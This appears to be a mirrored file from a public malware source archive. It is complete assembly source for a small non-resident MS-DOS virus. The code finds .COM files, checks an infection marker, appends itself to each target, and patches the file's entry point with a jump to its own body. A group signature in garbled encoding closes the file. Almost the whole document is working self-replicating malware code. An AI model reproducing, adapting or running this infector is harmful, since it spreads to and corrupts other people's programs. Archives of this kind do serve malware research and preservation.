mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
101 lines
3.1 KiB
NASM
101 lines
3.1 KiB
NASM
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;****************************************************************************
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;* Mini non-resident virus
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;****************************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg,ss:cseg
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.RADIX 16
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FILELEN equ end - start
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FILNAM equ 55h
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;****************************************************************************
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;* Dummy program (infected)
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;****************************************************************************
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org 100h
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begin: db 0E9, 3, 0
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;****************************************************************************
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;* Begin of the virus
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;****************************************************************************
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start: db 0CDh, 20h, 90
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push si ;si=0100
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mov di,si
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add si,[si+1] ;si=0103
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push si
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movsw
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movsb
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pop si ;si -> start (buffer)
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lea dx,[si+FILNAM] ;dx -> filename
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mov ah,4Eh ;find first file
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int 21
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mov dx,009Eh
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mov ax,3D02h ;open the file
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call int21
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jc exit1
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xchg bx,ax
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mov ah,3fh ;read begin of file
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int 21
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cmp byte ptr [si],0E9h ;infected COM?
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je exit2
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mov al,2 ;go to end of file
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call seek
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xchg ax,di
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mov cl, low FILELEN ;write program to end of file
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mov ah,40h
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int 21
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mov al,0
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call seek
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mov byte ptr [si], 0E9h
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mov word ptr [si+1], di
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mov ah,40h
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int 21
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exit2: mov ah,3Eh ;close the file
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int 21
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exit1: ret
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seek: mov ah,42
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cwd
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int21: xor cx,cx
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int 21
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mov cl,03
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mov dx,si
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return: ret
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;****************************************************************************
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;* Data
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;****************************************************************************
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filename db '*.COM',0
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end:
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cseg ends
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end begin
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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